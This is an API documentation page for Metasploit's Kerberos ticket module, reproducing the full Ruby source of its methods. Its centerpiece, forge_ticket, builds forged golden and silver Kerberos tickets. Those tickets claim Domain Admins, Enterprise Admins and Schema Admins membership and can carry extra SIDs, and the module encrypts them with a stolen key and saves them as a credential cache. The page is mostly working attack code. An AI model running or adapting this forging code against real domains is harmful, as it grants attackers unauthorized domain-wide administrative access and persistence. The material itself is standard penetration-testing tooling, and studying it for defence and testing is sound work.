Module: Msf::Exploit::Remote::Kerberos::Ticket

Defined in:
lib/msf/core/exploit/remote/kerberos/ticket.rb,
lib/msf/core/exploit/remote/kerberos/ticket/storage.rb

Defined Under Namespace

Modules: Storage

Instance Method Summary collapse

Instance Method Details

#ccache?(header) ⇒ Boolean

Returns:

  • (Boolean)


166
167
168
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 166

def ccache?(header)
  header[0..1] == "\x05\x04"
end

#create_ccache_principal(principle, realm) ⇒ Object



160
161
162
163
164
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 160

def create_ccache_principal(principle, realm)
  Rex::Proto::Kerberos::CredentialCache::Krb5CcachePrincipal.new(name_type: principle.name_type,
                                                                 components: principle.name_string,
                                                                 realm: realm)
end

#create_enc_ticket_part(opts:) ⇒ Object



80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 80

def create_enc_ticket_part(opts:)
  ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.new

  ticket_enc_part.key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
    type: opts[:enc_type], value: opts[:session_key]
  )
  ticket_enc_part.flags = opts[:flags]
  ticket_enc_part.crealm = opts[:realm]
  ticket_enc_part.cname = opts[:client]
  ticket_enc_part.transited = Rex::Proto::Kerberos::Model::TransitedEncoding.new(tr_type: 0, contents: '')
  ticket_enc_part.authtime = opts[:auth_time]
  ticket_enc_part.starttime = opts[:start_time]
  ticket_enc_part.endtime = opts[:end_time]
  ticket_enc_part.renew_till = opts[:renew_till]
  if opts[:create_ticket_checksum]
    opts[:ticket_checksum] = create_ticket_checksum(opts[:checksum_type],
                                                    opts[:checksum_enc_key],
                                                    ticket_enc_part)
  end
  ticket_enc_part.authorization_data = build_pac_authorization_data(opts)
  ticket_enc_part
end

#create_principal(name) ⇒ Object



153
154
155
156
157
158
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 153

def create_principal(name)
  Rex::Proto::Kerberos::Model::PrincipalName.new(
    name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL,
    name_string: Array.wrap(name)
  )
end

#encrypt_ticket_enc_part(ticket_enc_part:, key:, enc_type:) ⇒ Object



103
104
105
106
107
108
109
110
111
112
113
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 103

def encrypt_ticket_enc_part(ticket_enc_part:, key:, enc_type:)
  enc_class = Rex::Proto::Kerberos::Crypto::Encryption.from_etype(enc_type)

  encrypted = enc_class.encrypt(
    ticket_enc_part.encode, key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET
  )

  Rex::Proto::Kerberos::Model::EncryptedData.new(
    etype: enc_type, kvno: 2, cipher: encrypted
  )
end

#forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:, domain:, username:, user_id: Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID, domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false, is_golden: true) ⇒ Object

Parameters:

  • session_key (String) (defaults to: nil)

    The session key

  • extra_sids (Array<String>) (defaults to: [])

    An array of extra sids, Ex: '['S-1-5-etc-etc-519']'



13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 13

def forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:,
                 domain:, username:, user_id: Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID,
                 domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false, is_golden: true)
  sname_principal = create_principal(sname)
  cname_principal = create_principal(username)
  group_ids = [
    Rex::Proto::Kerberos::Pac::DOMAIN_USERS,
    Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS,
    Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS,
    Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS,
    Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS,
  ]
  # https://www.ietf.org/rfc/rfc3962.txt#:~:text=7.%20%20Assigned%20Numbers
  case enc_type
  when Rex::Proto::Kerberos::Crypto::Encryption::AES256
    checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES256
  when Rex::Proto::Kerberos::Crypto::Encryption::AES128
    checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES128
  else
    checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::HMAC_MD5
  end

  session_key_byte_length = enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256 ? 32 : 16
  session_key ||= SecureRandom.hex(session_key_byte_length / 2)
  if session_key.bytes.length != session_key_byte_length
    raise "Invalid key length for session key, expected #{session_key_byte_length}, got #{session_key.length} for session key #{session_key}"
  end

  opts = {
    client: cname_principal,
    server: sname_principal,
    auth_time: start_time,
    start_time: start_time,
    end_time: end_time,
    renew_till: end_time,
    realm: domain.upcase,
    key_value: enc_key,
    checksum_enc_key: enc_key,
    session_key: session_key,
    enc_type: enc_type,
    user_id: user_id,
    group_ids: group_ids,
    checksum_type: checksum_type,
    client_name: username,
    domain_id: domain_sid,
    extra_sids: extra_sids,
    flags: flags,
    create_ticket_checksum: ticket_checksum,
    is_golden: is_golden
  }

  ticket_enc_part = create_enc_ticket_part(opts: opts)
  enc_part = encrypt_ticket_enc_part(
    ticket_enc_part: ticket_enc_part, key: opts[:key_value], enc_type: opts[:enc_type]
  )
  ticket = Rex::Proto::Kerberos::Model::Ticket.new(
    tkt_vno: Rex::Proto::Kerberos::Model::VERSION,
    realm: opts[:realm],
    sname: opts[:server],
    enc_part: enc_part
  )
  # Wrap the ticket up with its metadata, i.e. its key/sname/time information etc
  ccache = ticket_as_krb5ccache(ticket, opts: opts)

  ccache
end

#golden_ticket_flagsObject



124
125
126
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 124

def golden_ticket_flags
  silver_ticket_flags << Rex::Proto::Kerberos::Model::TicketFlags::INITIAL
end

#kirbi?(header) ⇒ Boolean

Returns:

  • (Boolean)


170
171
172
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 170

def kirbi?(header)
  header[0] == "\x76"
end


190
191
192
193
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 190

def print_ccache_contents(ccache, key: nil)
  presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ccache)
  print_status presenter.present(key: key)
end


174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 174

def print_contents(path, key: nil)
  header = File.binread(path, 2)
  if ccache?(header)
    print_status "Credentials cache: File:#{path}"
    ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(File.binread(path))
    print_ccache_contents(ccache, key: key)
  elsif kirbi?(header)
    print_status "Kirbi File:#{path}"
    krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(File.binread(path))
    ccache = Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
    print_ccache_contents(ccache, key: key)
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unknown file format')
  end
end

#silver_ticket_flagsObject



115
116
117
118
119
120
121
122
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 115

def silver_ticket_flags
  [
    Rex::Proto::Kerberos::Model::TicketFlags::FORWARDABLE,
    Rex::Proto::Kerberos::Model::TicketFlags::PROXIABLE,
    Rex::Proto::Kerberos::Model::TicketFlags::RENEWABLE,
    Rex::Proto::Kerberos::Model::TicketFlags::PRE_AUTHENT
  ]
end

#ticket_as_krb5ccache(ticket, opts:) ⇒ Rex::Proto::Kerberos::CredentialCache::Krb5Ccache



131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 131

def ticket_as_krb5ccache(ticket, opts:)
  Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.new(
    default_principal: create_ccache_principal(opts[:client], opts[:realm]),
    credentials: [
      {
        client: create_ccache_principal(opts[:client], opts[:realm]),
        server: create_ccache_principal(opts[:server], opts[:realm]),
        keyblock: {
          enctype: opts[:enc_type],
          data: opts[:session_key]
        },
        authtime: opts[:auth_time],
        starttime: opts[:start_time],
        endtime: opts[:end_time],
        renew_till: opts[:renew_till],
        ticket_flags: opts[:flags].to_i,
        ticket: ticket.encode
      }
    ]
  )
end